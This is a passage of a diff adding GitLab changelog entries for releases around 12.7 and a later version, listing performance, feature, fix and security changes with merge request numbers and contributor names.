+- Replace underscore with lodash for ./app/assets/javascripts/mirrors. !24967 (Jacopo Beschi @jacopo-beschi)
+- Replace underscore with lodash in /app/assets/javascripts/helpers. !25014 (rkpattnaik780)
+- Migrate from class .fa-spinner to .spinner in app/assets/javascripts/gfm_auto_complete.js. !25039 (rk4bir)
+- Update cluster-applications to v0.8.0. !25138
+- Limit size of params array in JSON logs to 10 KiB. !25158
+- Omit error details from previous attempt in Sidekiq JSON logs. !25161
+- Remove unnecessary milestone join tables. !25198
+- Upgrade to Gitaly v1.87.0. !25370
+- Drop signatures in email replies. !25389 (Diego Louzán)
+- update service desk project to use GlLoadingIcon over font awesome spinner. (Oregand)
+- Search group-level objects among all ancestors during project import.
+- Add broadcast type to API.
+- Changed color of allowed to fail badge from danger to warning.
+
+### Performance (22 changes, 1 of them is from the community)
+
+- Check mergeability of MR asynchronously. !21026
+- Fix query performance in PipelinesFinder. !21092
+- Fix usage ping timeouts with batch counters. !22705
+- Remove N+1 query for profile notifications. !22845 (Ohad Dahan)
+- Limit page number on explore/projects. !22876
+- Prevent unnecessary Gitaly calls when rendering comment excerpts in todos and activity feed. !23100
+- Eliminate Gitaly N+1 queries loading submodules. !23292
+- Optimize page loading of Admin::RunnersController#show. !23309
+- Improve performance of the Container Registry delete tags API. !23325
+- Don't allow Gitaly calls to exceed the worker timeout set for unicorn or puma. !23510
+- Use CTE optimization fence for loading projects in dashboard. !23754
+- Optimize ref name lookups in archive downloads. !23890
+- Change broadcast message index. !23986
+- Add index to audit_events (entity_id, entity_type, id). !23998
+- Remove unneeded indexes on projects table. !24086
+- Load maximum 1mb blob data for a diff file. !24160
+- Optimize issue search when sorting by weight. !24208
+- Optimize issue search when sorting by due date and position. !24217
+- Refactored repository browser to use Vue and GraphQL. !24450
+- Improvement to merged_branch_names cache. !24504
+- Destroy user associations in batches like we do with projects. !24641
+- Cache repository merged branch names by default. !24986
+
+### Added (137 changes, 46 of them are from the community)
+
+- x509 signed commits using openssl. !17773 (Roger Meier)
+- Allow keyboard shortcuts to be disabled. !18782
+- Add API endpoints for 'soft-delete for groups' feature. !19430
+- Add UI for 'soft-delete for groups' feature. !19483
+- Introduce project_settings table. !19761
+- Expose current and last IPs to /users endpoint. !19781
+- Add Group Import API endpoint & update Group Import/Export documentation. !20353
+- Show Kubernetes namespace on job show page. !20983
+- Add admin settings panel for instance-level serverless domain (behind feature flag). !21222
+- Filter merge requests by approvals (API). !21379
+- Expose is_using_seat attribute for Member in API. !21496
+- Add querying of Sentry errors to Graphql. !21802
+- Extends 'Duplicate dashboard' feature, by including custom metrics added to GitLab-defined dashboards. !21923
+- Add tab width option to user preferences. !22063 (Alexander Oleynikov)
+- Add iid to operations_feature_flags and backfill. !22175
+- Support retrieval of disk statistics from Gitaly. !22226 (Nels Nelson)
+- Implement allowing empty needs for jobs in DAG pipelines. !22246
+- Create snippet repository when it's created. !22269
+- When switching to a file permalink, just change the URL instead of triggering a useless page reload. !22340
+- Packages published to the package registry via CI/CD with a CI_JOB_TOKEN will display pipeline information on the details page. !22485
+- Add users memberships endpoints for admins. !22518
+- Add cilium to the managed cluster apps template. !22557
+- Add WAF Anomaly Summary service. !22736
+- Introduce license_scanning CI template. !22773
+- Add extra fields to the application context. !22792
+- Add selective sync support to Geo Nodes API update endpoint. !22828 (Rajendra Kadam)
+- Add validation for custom PrometheusDashboard. !22893
+- Sync GitLab issue back to Sentry when created in GitLab. !23007
+- Add new Elastic Stack cluster application for pod log aggregation. !23058
+- NPM dist tags will now be displayed on the package details page. !23061
+- Add show routes for group and project repositories_controllers and add pagination to the index responses. !23151
+- Add pages_access_level to projects API. !23176 (Mathieu Parent)
+- Document CI job activity limit for pipeline creation. !23246
+- Update Praefect docs for subcommand. !23255
+- Add CI variables to provide GitLab port and protocol. !23296 (Aidin Abedi)
+- Seprate 5 classes in separate files from entities. !23299 (Rajendra Kadam)
+- Upgrade pages to 1.14.0. !23317
+- Indicate Sentry error severity in GitLab. !23346
+- Sync GitLab issues with Sentry plugin integration. !23355
+- Backfill missing GraphQL API Group type properties. !23389 (Fabio Huser)
+- Allow setting minimum concurrency for sidekiq-cluster processes. !23408
+- Geo: Add tables to prepare to replicate package files. !23447
+- Update deploy token architecture to introduce group-level deploy tokens. !23460
+- Add tags, external_base_url, gitlab_issue to Sentry Detailed Error graphql. !23483
+- Reverse actions for resolve/ignore Sentry issue. !23516
+- Add deploy_token_type column to deploy_tokens table. !23530
+- Add ability to hide GraphQL fields using GitLab Feature flags. !23563
+- Add can_create_merge_request_in to /project/:id API response. !23577
+- Close related GitLab issue on Sentry error resolve. !23610
+- Add emails_disabled to projects API. !23616 (Mathieu Parent)
+- Expose group milestones on GraphQL. !23635
+- Add support for lsif artifact report. !23672
+- Displays package tags next to the name on the new package list page. !23675
+- Collect release evidence at release timestamp. !23697
+- Create conditional Enable Review App button. !23703
+- Add CI variables to configure bundler-audit advisory database (Dependency Scanning). !23717
+- Add API to "Play" a scheduled pipeline immediately. !23718
+- Add selective sync support to Geo Nodes API create endpoint. !23729 (Rajendra Kadam)
+- Refactor user entities into own class files. !23730 (Rajendra Kadam)
+- Replace Net::HTTP with Gitlab::HTTP in rake gitlab:geo:check. !23741 (Rajendra Kadam)
+- Add separate classes for user related entities for email, membership, status. !23748 (Rajendra Kadam)
+- Add Sentry error stack trace to GraphQL API. !23750
+- Allow for relative time ranges in metrics dashboard URLs. !23765
+- Add non_archived param to issues API endpoint to filter issues from archived projects. !23785
+- Add separate classes for project hook, identity, export status. !23789 (Rajendra Kadam)
+- Create snippet repository model. !23796
+- Add non_archived param to group merge requests API endpoint to filter MRs from non archived projects. !23809
+- Change `Rename` to `Rename/Move` in Web IDE Dropdown. !23877
+- Add separate classes for project related classes. !23887 (Rajendra Kadam)
+- Added search box to dashboards dropdown in monitoring dashboard. !23906
+- Display operations feature flag internal ids. !23914
+- Enable search and filter in environments dropdown in monitoring dashboard. !23942
+- Add GraphQL mutation to restore multiple todos. !23950
+- Add migration to create resource milestone events table. !23965
+- Add cycle analytics duration chart with median line. !23971
+- Support require_password_to_approve in project merge request approvals API. !24016
+- Add updateImageDiffNote mutation. !24027
+- Upgrade Pages to 1.15.0. !24043
+- Updated package details page header to begin updating the page design. !24055
+- Added migration which adds project_key column to service_desk_settings. !24063
+- Separate project and group entities into own class files. !24070 (Rajendra Kadam)
+- Separate commit entities into own class files. !24085 (Rajendra Kadam)
+- Add delete identity endpoint on the users API. !24122
+- Add search support for protected branches API. !24137
+- Dark syntax highlighting theme for Web IDE. !24158
+- Added NuGet package installation instructions to package details page. !24162
+- Expose issue link type in REST API. !24175
+- Separate snippet entities into own class files. !24183 (Rajendra Kadam)
+- Support for table of contents tag in GitLab Flavored Markdown. !24196
+- Add GET endpoint to LDAP group link API. !24216
+- Add API to enable and disable error tracking settings. !24220 (Rajendra Kadam)
+- Separate protected and issuable entities into own class files. !24221 (Rajendra Kadam)
+- Separate issue entities into own class files. !24226 (Rajendra Kadam)
+- Make smarter user suggestions for assign slash commands. !24294
+- Add loading icon to clusters being created. !24370
+- Allow a grace period for new users to confirm their email. !24371
+- Separate merge request entities into own class files. !24373 (Rajendra Kadam)
+- Create an environment for self monitoring project. !24403
+- Add blocked icon on issue board card. !24420
+- Add blocking issues feature. !24460
+- Wait for elasticsearch to be green on install. !24489
+- Separate key and other entities into own class files. !24495 (Rajendra Kadam)
+- Implement support of allow_failure keyword for CI rules. !24605
+- Adds path to edit custom metrics in dashboard response. !24645
+- Add tooltip when dates in date picker are too long. !24664
+- API: Ability to list commits in order (--topo-order). !24702
+- Separate note entities into own class files. !24732 (Rajendra Kadam)
+- Separate 5 classes into own entities files. !24745 (Rajendra Kadam)
+- Set default dashboard for self monitoring project. !24814
+- Create operations strategies and scopes tables. !24819
+- Separate access entities into own class files. !24845 (Rajendra Kadam)
+- Refactor error tracking specs and add validation to enabled field in error tracking model. !24892 (Rajendra Kadam)
+- Separate service entities into own class files. !24936 (Rajendra Kadam)
+- Separate label entities into own class files. !24938 (Rajendra Kadam)
+- Separate board, list and other entities into own class files. !24939 (Rajendra Kadam)
+- Separate entities into own class files. !24941 (Rajendra Kadam)
+- Separate tag and release entities into own class files. !24943 (Rajendra Kadam)
+- Separate job entities into own class files. !24948 (Rajendra Kadam)
+- Separate entities into own class files. !24950 (Rajendra Kadam)
+- Separate environment entities into own class files. !24951 (Rajendra Kadam)
+- Display the y-axis on the range of data value in the chart. !24953
+- Separate token and template entities into own class files. !24955 (Rajendra Kadam)
+- Separate token entities into own class files. !24974 (Rajendra Kadam)
+- Separate JobRequest entities into own class files. !24977 (Rajendra Kadam)
+- Separate entities into own class files. !24985 (Rajendra Kadam)
+- Separate page domain entities into own class files. !24987 (Rajendra Kadam)
+- add avatar_url in job webhook, and email in pipeline webhook. !24992 (Guillaume Micouin)
+- Separate Application and Blob entities into own class files. !24997 (Rajendra Kadam)
+- Separate badge entities into own class files. !25116 (Rajendra Kadam)
+- Separate provider, platform and post receive entities into own class files. !25119 (Rajendra Kadam)
+- Separate cluster entities into own class files. !25121 (Rajendra Kadam)
+- Container Registry tag expiration policy settings. !25123
+- Upgrade pages to 1.16.0. !25238
+- Added "Prohibit outer fork" setting for Group SAML. !25246
+- Separate project entity into own class file. !25297 (Rajendra Kadam)
+- Add license FAQ link to license expired message.
+- Add broadcast types to broadcast messages.
+
+### Other (55 changes, 15 of them are from the community)
+
+- Upgrade to Rails 6. !19891
+- refactoring gl_dropdown.js to use ES6 classes instead of constructor functions. !20488 (nuwe1)
+- Creates a standalone vulnerability page. !20734
+- Auto generated wiki commit message containing HTML encoded entities. !21371 (2knal)
+- removes store logic from issue board models. !21391 (nuwe1)
+- removes store logic from issue board models. !21404 (nuwe1)
+- Reducing whitespace in group list to show more on screen and reduce vertical scrolling. !21584
+- Geo: Include host when logging. !22203
+- Add rate limiter to Project Imports. !22644
+- Use consistent layout in cluster advanced settings. !22656
+- Replace custom action array in CI header bar with <slot>. !22839 (Fabio Huser)
+- Fix visibility levels of subgroups to be not higher than their parents' level. !22889
+- Update pg gem to v1.2.2. !23237
+- Remove milestone_id from epics. !23282 (Lee Tickett)
+- Remove button group for edit and web ide in file header. !23291
+- Update GitLab Runner Helm Chart to 0.13.0/12.7.0. !23308
+- Remove storage_version column from snippets. !23315
+- Upgrade acme-client to v2.0.5. !23498
+- Make rake -T output more consistent. !23550
+- Show security report outdated message for only Active MRs. !23575
+- Update Kaminari templates to match gl-pagination's markup. !23582
+- Update GitLab Runner Helm Chart to 0.13.1 (GitLab Runner 12.7.1). !23588
+- Remove unused Code Hotspots database tables. !23590
+- Remove self monitoring feature flag. !23631
+- Store security scans run in CI jobs. !23669
+- More verbose JiraService error logs. !23688
+- Rename Cloud Run on GKE to Cloud Run for Anthos. !23694
+- Update links related to MR approvals in UI. !23948
+- Migrate issue tracker data to data field tables. !24076
+- Updated icon for copy-to-clipboard button. !24146
+- Add specialized index to packages_packages database table. !24182
+- Bump auto-deploy-image for Auto DevOps deploy to 0.9.1. !24231
+- Bump DAST deploy auto-deploy-image to 0.9.1. !24232
+- Move contribution analytics chart to echarts. !24272
+- Minor text update to IDE commit to branch disabled tooltip. !24521
+- Promote stackprof into a production gem. !24564
+- Replace unstructured application logs with structured (JSON) application logs in the admin interface. !24614
+- Move insights charts to echarts. !24661
+- Improve UX of optional fields in Snippets form. !24762
+- Update snippets empty state and remove explore snippets button. !24764
+- Backfill LfsObjectsProject records of forks. !24767
+- Update button margin of various empty states. !24806
+- Update loading icon in Value Stream Analytics view. !24861
+- Replace underscore with lodash for ./app/assets/javascripts/serverless. !25011 (Tobias Spagert)
+- Replaced underscore with lodash for spec/javascripts/vue_shared/components. !25018 (Shubham Pandey)
+- Replaced underscore with lodash for spec/javascripts/badges. !25135 (Shubham Pandey)
+- Replace underscore with lodash for ./app/assets/javascripts/error_tracking. !25143 (Tobias Spagert)
+- Destroy the OAuth application when Geo secondary becomes a primary. !25154 (briankabiro)
+- Refactored snippets view to Vue. !25188
+- Updated ui elements in wiki page creation. !25197 (Marc Schwede)
+- Internationalize messages for group audit events. !25233 (Takuya Noguchi)
+- Add a link to the variable priority override section from triggers page. !25264 (DFredell)
+- Track usage of merge request file header buttons. (Oregand)
+- Switch dropdown operators to lowercase.
+- Add clarifying content to account fields.
+
+
+## 12.7.9 (2020-04-14)
+
+### Security (3 changes)
+
+- Refresh ProjectAuthorization during Group deletion.
+- Prevent filename bypass on artifact upload.
+- Update rack and related gems to 2.0.9 to fix security issue.
+
+
+## 12.7.5
+
+### Fixed (4 changes, 1 of them is from the community)
+
+- Add accidentally deleted project config for custom apply suggestions. !23687 (Fabio Huser)
+- Fix database permission check for triggers on Amazon RDS. !24035
+- Fix applying the suggestions with an empty custom message. !24144
+- Remove invalid data from issue_tracker_data table.
+
+
+## 12.7.3
+
+### Security (17 changes, 1 of them is from the community)
+
+- Fix xss on frequent groups dropdown. !50
+- Bump rubyzip to 2.0.0. (Utkarsh Gupta)
+- Disable access to last_pipeline in commits API for users without read permissions.
+- Add constraint to group dependency proxy endpoint param.
+- Limit number of AsciiDoc includes per document.
+- Prevent API access for unconfirmed users.
+- Enforce permission check when counting activity events.
+- Prevent gafana integration token from being displayed as a plain text to other project maintainers, by only displaying a masked version of it. GraphQL api deprecate token field in GrafanaIntegration type.
+- Cleanup todos for users from a removed linked group.
+- Fix XSS vulnerability on custom project templates form.
+- Protect internal CI builds from external overrides.
+- ImportExport::ExportService to require admin_project permission.
+- Make sure that only system notes where all references are visible to user are exposed in GraphQL API.
+- Disable caching of repository/files/:file_path/raw API endpoint.
+- Make cross-repository comparisons happen in the source repository.
+- Update excon to 0.71.1 to fix CVE-2019-16779.
+- Add workhorse request verification to package upload endpoints.
+
+
+## 12.7.1
+
+### Fixed (6 changes)
+
+- Fix loading of sub-epics caused by wrong subscription check. !23184
+- Fix Bitbucket Server importer error handler. !23310
+- Fixes random passwords generated not conforming to minimum_password_length setting. !23387
+- Reverts MR diff redesign which fixes Web IDE visual bugs including file dropdown not showing up. !23428
+- Allow users to sign out on a read-only instance. !23545
+- Remove invalid data from jira_tracker_data table. !23621
+
+### Added (1 change)
+
+- Close Issue when resolving corresponding Sentry error. !22744
+
+
+## 12.7.0
+
+### Security (6 changes, 2 of them are from the community)
+
+- Ensure content matches extension on image uploads. !20697
+- Update set-value from 2.0.0 to 2.0.1. !22366 (Takuya Noguchi)
+- Update rdoc to 6.1.2. !22434
+- Upgrade json-jwt to v1.11.0. !22440
+- Update webpack from 4.40.2 to 4.41.5. !22452 (Takuya Noguchi)
+- Update rack-cors to 1.0.6. !22809
+
+### Removed (2 changes)
+
+- Remove feature flag 'use_legacy_pipeline_triggers' and remove legacy tokens. !21732
+- Add deprecation warning to Rake tasks in sidekiq namespace.
+
+### Fixed (91 changes, 7 of them are from the community)
+
+- Remove extra whitespace in user popover. !19938
+- Migrate the database to activate projects prometheus service integration for projects with prometheus installed on shared k8s cluster. !19956
+- Fix pages size limit setting in database if it is above the hard limit. !20154
+- Support dashes in LDAP group CN for sync on users first log in. !20402
+- Users without projects use a license seat in a non-premium license. !20664
+- Add fallbacks and proper errors for diff file creation. !21034
+- Authenticate API requests with job tokens for Rack::Attack. !21412
+- Tasks in HTML comments are no longer incorrectly detected. !21434
+- Hide mirror admin actions from developers. !21569
+- !21542 Part 3: Handle edge cases in stage and unstage mutations. !21676
+- Web IDE: Fix Incorrect diff of deletion and addition of the same file. !21680
+- Fix bug when clicking on same note twice in Firefox. !21699 (Jan Beckmann)
+- Fix "No changes" empty state showing up in changes tab, despite there being changes. !21713
+- Require group owner to have linked SAML before enabling Group Managed Accounts. !21721
+- Fix README.txt not showing up on a project page. !21763 (Alexander Oleynikov)
+- Fix MR diffs file count increments while batch loading. !21764
+- When sidekiq-cluster is asked to shutdown, actively terminate any sidekiq processes that don't finish cleanly in short order. !21796
+- Prevent MergeRequestsController#ci_environment_status.json from making HTTP requests. !21812
+- Fix issue: Discard button in Web IDE does nothing. !21902
+- Fix "Discard" for newly-created and renamed files. !21905
+- Add epic milestone sourcing foreign key. !21907
+- Fix transferring groups to root when EE features are enabled. !21915
+- Show regular rules without approvers. !21918
+- Resolve "Merge request discussions API doesn't reject an error input in some case". !21936
+- fix CSS when board issue is collapsed. !21940 (allenlai18)
+- Properly check a task embedded in a list with no text. !21947
+- Process quick actions when using Service Desk templates. !21948
+- Sidebar getting partially hidden behind the content block. !21978 (allenlai18)
+- Fix bug in Container Scanning report remediations. !21980
+- Return empty body for 204 responses in API. !22086
+- Limit the amount of time ChatNotificationWorker waits for the build trace. !22132
+- Return 503 error when metrics dashboard has no connectivity. !22140
+- Cancel running pipelines when merge request is dropped from merge train. !22146
+- Fix: undefined background migration classes for EE-CE downgrades. !22160
+- Check both SAST_DISABLE and SAST_DISABLE_DIND when executing SAST job template. !22166
+- Check both DEPENDENCY_SCANNING_DISABLED and DS_DISABLE_DIND when executing Dependency Scanning job template. !22172
+- Stop exposing MR refs in favor of persistent pipeline refs. !22198
+- Display login or register widget only if user is not logged in. !22211
+- Fix milestone quick action to handle ancestor group milestones. !22231
+- Fix RefreshMergeRequestsService raises an exception and unnecessary sidekiq retry. !22262
+- Make BackgroundMigrationWorker backward compatible. !22271
+- Update foreign key constraint for personal access tokens. !22305
+- Fix markdown table border colors. !22314
+- Retry obtaining Let's Encrypt certificates every 2 hours if it wasn't successful. !22336
+- Disable Prometheus metrics if initialization fails. !22355
+- Make jobs with resource group cancellable. !22356
+- Fix bug when trying to expose artifacts and no artifacts are produced by the job. !22378
+- Gracefully error handle CI lint errors in artifacts section. !22388
+- Fix GitLab plugins not working without hooks configured. !22409
+- Prevent omniauth signup redirect loop. !22432 (Balazs Nagy)
+- Fix deploy tokens erroneously triggering unique IP limits. !22445
+- Add support to export and import award emojis for issues, issue notes, MR, MR notes and snippet notes. !22493
+- Fix Delete Selected button being active after uploading designs after a deletion. !22516
+- Fix releases page when tag contains a slash. !22527
+- Reverts Add RBAC permissions for getting knative version. !22560
+- Fix error in Wiki when rendering the AsciiDoc include directive. !22565
+- Fix Error 500 in parsing invalid CI needs and dependencies. !22567
+- Fix discard all to behave like discard single file in Web IDE. !22572
+- Update IDE discard of renamed entry to also discard file changes. !22573
+- Avoid pre-populating form for MR resolve issues. !22593
+- Fix relative links in Slack message. !22608
+- Hide merge request tab popover for anonymous users. !22613
+- Remove unused keyword from EKS provision service. !22633
+- Prevent job log line numbers from being selected. !22691
+- Fix CAS users being signed out repeatedly. !22704
+- Make Sidekiq timestamps consistently ISO 8601. !22750
+- Merge a merge request immediately when passing merge when pipeline succeeds to the merge API when the head pipeline already succeeded. !22777
+- Fix Issue API: creating with manual IID returns conflict when IID already in use. !22788 (Mara Sophie Grosch)
+- Project issue board names now sorted correctly in FOSS. !22807
+- Fix upload redirections when project has moved. !22822
+- Update Mermaid to v8.4.5. !22830
+- Prevent builds from halting unnecessarily when completing prerequisites. !22938
+- Fix discarding renamed directories in Web IDE. !22943
+- Gracefully handle marking a project deletion multiple times. !22949
+- Fix: WebIDE doesn't work on empty repositories again. !22950
+- Fix rebase error message translation in merge requests. !22952 (briankabiro)
+- Geo: Fix Docker repository synchronization for local storage. !22981
+- Include subgroups when searching inside a group. !22991
+- Geo: Handle repositories in Docker Registry with no tags gracefully. !23022
+- Fix group issue list and group issue board filters not showing ancestor group milestones. !23038
+- Add returning relation from GroupMembersFinder if called on root group with only inherited param. !23161
+- Fix extracting Sentry external URL when URL is nil. !23162
+- Fix issue CSV export failing for some projects. !23223
+- Fix unexpected behaviour of the commit form after committing in Web IDE. !23238
+- Fix analytics tracking for new merge request notes. !23273
+- Identify correct sentry id in error tracking detail. !23280
+- Fix for 500 when error stack trace is empty. !119205
+- Removes incorrect help text from EKS Kubernetes version field.
+- Exclude snippets from external caching handling.
+- Validate deployment SHAs and refs.
+- Increase size of issue boards sidebar collapse button.
+
+### Changed (42 changes, 4 of them are from the community)
+
+- Restores user's ability to revoke sessions from the active sessions page. !17462 (Jesse Hall @jessehall3)
+- Add documentation & helper text information regarding securing a GitLab instance. !18987
+- Add activity across all projects to /events endpoint. !19816 (briankabiro)
+- Don't run Auto DevOps when no dockerfile or matching buildpack exists. !20267
+- Expose full reference path for issuables in API. !20354
+- Add measurement details for programming languages graph. !20592
+- Move instance statistics into analytics namespace. !21112
+- Improve warning for Promote issue to epic. !21158
+- Added Conan recipe in place of the package name on the package details page. !21247
+- Expose description_html for labels. !21413
+- Add audit events to the adding members to project or group API endpoint. !21633
+- Include commit message instead of entire page content in Wiki chat notifications. !21722 (Ville Skyttä)
+- Add fetching of Grafana Auth via the GraphQL API. !21756
+- Update prometheus chart version to 9.5.2. !21935
+- Turns on backend MR reports for DAST by default. !22001
+- Changes to template dropdown location. !22049
+- Copy merge request routes to the - scope. !22082
+- Copy repository route under - scope. !22092
+- Add back feature flag for cache invalidator. !22106
+- Update jupyterhub chart. !22127
+- Enable ability to install Crossplane app by default. !22141
+- Apply word-diff highlighting to Suggestions. !22182
+- Update auto-deploy-image to v0.8.3 for DAST default branch deploy. !22227
+- Restyle changes header & file tree. !22364
+- Upgrade to Gitaly v1.79.0. !22515
+- Save Instance Administrators group ID in DB. !22600
+- Resolve Create new project: Auto-populate project slug string to project name if name is empty. !22627
+- Bump cluster-applications image to v0.4.0, adding support to install cert-manager. !22657
+- Pass log source to the frontend. !22694
+- Allow Unicode 11 emojis in project names. !22776 (Harm Berntsen)
+- Update name max length. !22840
+- Update button label in MR widget pipeline footer. !22900
+- Exposes tiller.log as artifact in Managed-Cluster-Applications GitLab CI template. !22940
+- Rename GitLab Plugins feature to GitLab File Hooks. !22979
+- Allow to share groups with other groups. !23185
+- Upgrade to Gitaly v1.81.0. !23198
+- Enable Code Review Analytics by default. !23285
+- Add JSON error context to extends error in CI lint. !30066
+- Fix embedded snippets UI polish issues.
+- Align embedded snippet mono space font with GitLab mono space font.
+- Updates AWS EKS service role name help text to clarify it is distinct from provision role.
+- Adds quickstart doc link to ADO CICD settings.
+
+### Performance (27 changes)
+
+- Reduce redis key size for the Prometheus proxy and the amount of queries by half. !20006
+- Implement Atomic Processing that updates status of builds, stages and pipelines in one go. !20229
+- Request less frequent updates from Runner when job log is not being watched. !20841
+- Don't let Gitaly calls exceed a request time of 55 seconds. !21492
+- Reduce CommitIsAncestor RPCs with environments. !21778
+- LRU object caching for GroupProjectObjectBuilder. !21823
+- Preload project, user and group to reuse objects during project import. !21853
+- Fix slow query on blob search when doing path filtering. !21996
+- Add index to optimize loading pipeline charts. !22052
+- Avoid Gitaly RPCs in rate-limited raw blob requests. !22123
+- Remove after_initialize and before_validation for Note. !22128
+- Execute Gitaly LFS call once when Vue file enabled. !22168
+- Speed up path generation with build artifacts. !22257
+- Performance improvements on milestone burndown chart. !22380
+- Added smart virtual list component to test reports to enhance rendering performance. !22381
+- Add Index to help Hashed Storage migration on big instances. !22391
+- Use GraphQL to load error tracking detail page content. !22422
+- Improve link generation performance. !22426
+- Create optimal indexes for created_at order (Projects API). !22623
+- Avoid making Gitaly calls when some Markdown text links to an uploaded file. !22631
+- Remove unused index on project_mirror_data. !22647
+- Add more indexes for other order_by options (Projects API). !22784
+- Add indexes for authenticated Project API calls. !22886
+- Enable redis HSET diff caching by default. !23105
+- Add `importing?` to disable some callbacks.
+- Remove N+1 query issue when checking group root ancestor.
+- Reduce Gitaly calls needed for issue discussions.
+
+### Added (95 changes, 18 of them are from the community)
+
+- Add previous revision link to blame. !17088 (Hiroyuki Sato)
+- Render whitespaces in code. !17244 (Mathieu Parent)
+- Add an option to configure forking restriction. !17988
+- Add support for operator in filter bar. !19011
+- Add epics to project import/export. !19883
+- Load MR diff types lazily to reduce initial diff payload size. !19930
+- Metrics and network referee artifact types added to job artifact types. !20181
+- Auto stop environments after a certain period. !20372
+- Implement application appearance API endpoint. !20674 (Fabio Huser)
+- Add build metadata to package API. !20682
+- Add support for Liquid format in Prometheus queries. !20793
+- Adds created_at object to package api response. !20816
+- Stage all changes by default in Web IDE. !21067
+- 25968-activity-filter-to-notes-api. !21159 (jhenkens)
+- Improve error list UI on mobile viewports. !21192
+- New API endpoint GET /projects/:id/services. !21330
+- Add child and parent labels to pipelines. !21332
+- Add release count to project homepage. !21350
+- Add pipeline deletion button to pipeline details page. !21365 (Fabio Huser)
+- Add support for Rust Cargo.toml dependency vizualisation and linking. !21374 (Fabio Huser)
+- Expose issue link type in REST API. !21375
+- Implement customizable commit messages for applied suggested changes. !21411 (Fabio Huser)
+- Add stacktrace to issue created from the sentry error detail page. !21438
+- add background migration for sha256 fingerprints of ssh keys. !21579 (Roger Meier)
+- Add a cron job and worker to run the Container Expiration Policies. !21593
+- Add feature flag override toggle. !21598
+- Add 'resource_group' keyword to .gitlab-ci.yml for pipeline job concurrency limitation. !21617
+- Add full text search to pod logs. !21656
+- Add capability to disable issue auto-close feature per project. !21704 (Fabio Huser)
+- Add API for getting sentry error tracking settings of a project. !21788 (raju249)
+- Allow a pipeline (parent) to create a child pipeline as downstream pipeline within the same project. !21830
+- Add API support for retrieving merge requests deployed in a deployment. !21837
+- Add remaining project services to usage ping. !21843
+- Add ability to duplicate the common metrics dashboard. !21929
+- Custom snowplow events for monitoring alerts. !21963
+- Add enable_modsecurity setting to managed ingress. !21966
+- Add modsecurity_enabled setting to managed ingress. !21968
+- Allow admins to disable users ability to change profile name. !21987
+- Allow administrators to enforce access control for all pages web-sites. !22003
+- Setup storage for multiple milestones. !22043
+- Generate Prometheus sample metrics over pre-set intervals. !22066
+- Add tags to sentry detailed error response. !22068
+- Extend Design view sidebar with issue link and a list of participants. !22103
+- Add Gitlab version and revision to export. !22108
+- Add language and error urgency level for Sentry issue details page. !22122
+- Document MAVEN_CLI_OPTS defaults for maven project dependency scanning and update when the variable is used. !22126
+- Show sample metrics for an environment without prometheus configured. !22133
+- Download cross-project artifacts by using needs keyword in the CI file. !22161
+- Add GitLab commit to error detail endpoint. !22174
+- Container expiration policies can be updated with the project api. !22180
+- Allow CI_JOB_TOKENS for Conan package registry authentication. !22184
+- Add option to configure branches for which to send emails on push. !22196
+- Add a config for disabling CSS and jQuery animations. !22217
+- Add API for rollout Elasticsearch per plan level. !22240
+- Add retry logic for failures during import. !22265
+- Add migrations for version control snippets. !22275
+- Update tooltip content for deployment instances. !22289 (Rajendra Kadam)
+- Cut and paste Markdown table from a spreadsheet. !22290
+- Add CI variable to provide GitLab base URL. !22327 (Aidin Abedi)
+- Bump kubeclient version from 4.4.0 to 4.6.0. !22347
+- Accept `Envelope-To` as possible location for Service Desk key. !22354 (Max Winterstein)
+- Added Conan installation instructions to Conan package details page. !22390
+- Add API endpoint for creating a Geo node. !22392 (Rajendra Kadam)
+- Link to GitLab commit in Sentry error details page. !22431
+- Geo: Check current node in gitlab:geo:check Rake task. !22436
+- Add internal API to update Sentry error status. !22454
+- Add ability to ignore/resolve errors from error tracking detail page. !22475
+- Add informational message about page limits to environments dashboard. !22489
+- Add slug to services API response. !22518
+- Allow an upstream pipeline to create a downstream pipeline in the same project. !22663
+- Display SHA fingerprint for Deploy Keys and extend api to query those. !22665 (Roger Meier <r.meier@siemens.com>)
+- Add getDateInFuture util method. !22671
+- Detect go when doing dependency scanning. !22712
+- Fix aligment for icons on alerts. !22760 (Rajendra Kadam)
+- Allow "skip_ci" flag to be passed to rebase operation. !22800
+- Add gitlab_commit_path to Sentry Error Details Response. !22803
+- Document go support for dependency scanning. !22806
+- Implement ability to ignore Sentry errrors from the list view. !22819
+- Add ability to create an issue in an epic. !22833
+- Drop support for ES5 add support for ES7. !22859
+- Add View Issue button to error tracking details page. !22862
+- Resolve Design View: Left/Right keyboard arrows through Designs. !22870
+- Add Org to the list of available markups for project wikis. !22898 (Alexander Oleynikov)
+- Backend for allowing sample metrics to be toggled from ui. !22901
+- Display fn, line num and column in stacktrace entry caption. !22905
+- Get Project's environment names via GraphQL. !22932
+- Filter deployments using the environment & status. !22996
+- Assign labels to the GMA and project k8s namespaces. !23027
+- Expose mentions_disabled value via group API. !23070 (Fabio Huser)
+- Bump cluster-applications image to v0.5.0 (Adds GitLab Runner support). !23110
+- Resolve Sentry errors from error tracking list. !23135
+- Expose `active` field in the Error Tracking API. !23150
+- Track deployed merge requests using GitLab environments and deployments.
+- Enable the linking of merge requests to all non review app deployments.
+- Add comment_on_event_enabled to services API.
+
+### Other (31 changes, 7 of them are from the community)
+
+- Migrate issue trackers data. !18639
+- refactor javascript to remove Immediately Invoked Function Expression from project file search. !19192 (Brian Luckenbill)
+- Remove IIFEs from users_select.js. !19290 (minghuan lei)
+- Remove milestone_id from epics. !20539 (Lee Tickett)
+- Update d3 to 5.12. !20627 (Praveen Arimbrathodiyil)
+- Add Ci Resource Group models. !20950
+- Display in MR if security report is outdated. !20954
+- Fix CI job's scroll down icon and update animation. !21442
+- Implement saving config content for pipelines in a new table 'ci_pipelines_config'. !21827
+- Display SSL limitations warning for project's pages under namespace that contains dot. !21874
+- Updated monaco-editor dependency. !21938
+- fix: EKS credentials form does not reset after error. !21958
+- Fix regex matching for gemnasium dependency scanning jobs. !22025 (Maximilian Stendler)
+- User signout and admin mode disable use now POST instead of GET. !22113 (Diego Louzán)
+- Update to clarify slightly misleading tool tip. !22222
+- Replace Font Awesome cog icon with GitLab settings icon. !22259
+- Drop redundant index on ci_pipelines.project_id. !22325
+- Display location in the Security Project Dashboard. !22376
+- Add structured logging for application logs. !22379
+- Remove ActiveRecord patch to ignore limit on text columns. !22406
+- Update Ruby to 2.6.5. !22417
+- Log database time in Sidekiq JSON logs. !22548
+- Update GitLab Runner Helm Chart to 0.12.0. !22566
+- Update project hooks limits to 100 for all plans. !22604
+- Update Gitaly to v1.80.0. !22654
